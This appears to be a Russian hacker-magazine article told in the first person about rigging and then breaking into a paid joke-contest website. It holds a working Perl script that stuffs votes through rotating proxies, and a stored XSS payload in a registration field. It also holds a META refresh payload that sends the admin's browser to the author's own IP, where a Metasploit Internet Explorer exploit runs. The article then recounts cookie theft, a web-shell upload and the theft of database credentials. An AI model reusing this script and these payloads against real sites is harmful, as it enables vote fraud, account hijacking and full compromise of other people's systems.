Интро

Эта история началась как всегда с google. День оканчивался грустно, захотелось посмеяться. Ввел в google строчку для поиска, нечто вроде: смех, юмор, шутки… Получил до фига результатов. Среди них была ссылка – http://www.humorilla.ru. Туда то я и направился. На этом интро оканчивается и начинается действие…

Действо номер один

Как оказалось, humorilla был сайтом, куда куда каждый юзер мог прислать свой анекдот, если он окажется в рейтинге первым, то счастливому чуваку дают денежную премию. А чем я хуже, подумал я? И послал свой анекдот. На следующий день он уже был в списке (видать админ добавил). Победить хотелось очень, но народ за меня голосовал не слишком активно 8((, и я решил что нужно вмешаться :).

Выяснилось, что один чувак может голосовать за один анекдот только раз. Двойное голосование отсекалось по IP-адресу. Так как я сижу на dial-up и мой ай-пи динамический, можно просто подключаться/отключаться до офигения. Но… это долго и как то по ламерски. Было решено составить скрипт, который бы голосовал за меня заходя на сайт с различных proxy-сервов. Вот его код:

#!/usr/bin/perl
use IO::Socket;

open (base, "proxy_list_with_ports.txt") || die "аблом";
while ( <base> )
{ @proxy = <base>; }

$z=chomp(@proxy);
for ($g=0; $g < $z; ){
n:
$g++;
$path="http://humorilla.ru/inc/vote.php?j=5&q=tvoi_id"; #голосуем оценкой 5 за анекдот с q=твой id (типа номер в системе).
chomp($string = @proxy[$g]);
@conn=split(/:/,$string);
$server = @conn[0];
$port = @conn[1];

$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Photo => tcp)
or goto n;

$i++;
system("cls ; clear");
print "sent : $i";

print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Http-Referer: https://xakep.ru";
print $socket "User-Agent: Osel Explorer 7.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";
}

Этот скрипт берет данные из файла proxy_list_with_ports.txt и выполняется. Список должен быть составлен таким образом:

URL_PROXY_SERVERA:PORT

Например, 127.0.0.1:80.

На следующий день в моем ящике лежало письмо, в котором сообщалось, что я выиграл и просьба прислать мои реквизиты. Вуаля 🙂

Действо номер два

Как оказалось, деньги реально приходили. По идее можно было присылать свой анекдот каждый день и вечерком врубать скрипт накрута. Но я не люблю однообразие. В тот момент мне не пришло ничего лучше в голову, как поломать денежный сайт 8).

Быстрый осмотр пациента показал, что он здоров, багов – ноль.
Зато обнаружилась админка по адресу http://humorilla.ru/admin, где мне предлагали ввести логин и пароль. В расстроенных чувствах я уже собрался валить оттуда, как вдруг заметил ссылочку – в общих словах это звучало как, «подпиши друзей на анекдоты». Хех… Спамеры, блин…

Смысл был в том, что если зареганый чувак будет давать мейлы своих товарищей админам и по итогам недели “сдаст” больше всех мыл, ему выдается 100 у.е. Для регистрации нужно было указывать логин, который есть твое мыло и пароль (придумываешь сам), фамилию и имя. Также у юзера был свой кабинет, откуда он мог «подписывать друзей» В этом кабинете при входе отображались его имя и фамилия указанные при регистрации. Когда я регался, я интуитивно ввел в поле фамилии незамысловатую фразу: <script>alert(‘bug’)</script>. При заходе в кабинет вылетел алерт!

То есть можно было внедрять свой javascript и html код! Но какой мне от этого толк, спросишь ты? В кабинет ведь ходишь только ты один! Да, но не забывай про админку! Если админ посмотрит «ядовитую» фамилию, то есть шанс увести его cookies! Хорошего шелла, где разместить сниффер, под рукой не было и поэтому было решено поднять сервер из под metasploit framework, получить командную строку на машине админа, и спереть куки из папки temporary internet files. Все это сработало бы если бы админ сидел под бажным ослом.

Живо был зарегистрирован чувак с фамилией <META HTTP-EQUIV="refresh" CONTENT="0;url=http://moi_ip:1234 "> . И написано письмо админу:

Здравствуйте, я зарегистрировался на вашем сервисе, но не могу войти в меню управления, пожалуйста посмотрите в чем дело. Мой логин: mixail_20000001@mail.ru пароль: qwerty.

Потом я поднял сервер с помощью снапшота framework и выбрал эксплоит ie_create_text_range. Кто не знает как настраивать metasploit может почитать об этом в подшивках ][акера. Через некоторое время я получил командную строчку на компе админа, спер куки и сумел зайти в админку. Вот теперь – точно В-У-А-Л-Я.

Необходимое послесловие

В админке можно было легко залить веб-шелл, что я и сделал. Слив конфиги я нашел логин и пасс от БД. В общем, сайт находился под моим полным контролем.

З.Ы. Все описанное здесь – не более чем бред нетрезвого человека, если у кого-нибудь за реальное использование этого бреда возникнут проблемы, то я никакой ответственности естественно не несу.

Оставить мнение

Check Also

Брутфорс в английской глубинке. Как криптостойкие шифры вскрывали до компьютеров

Ты наверняка слышал про тест Тьюринга и, возможно, машину Тьюринга. Однако помимо абстракт…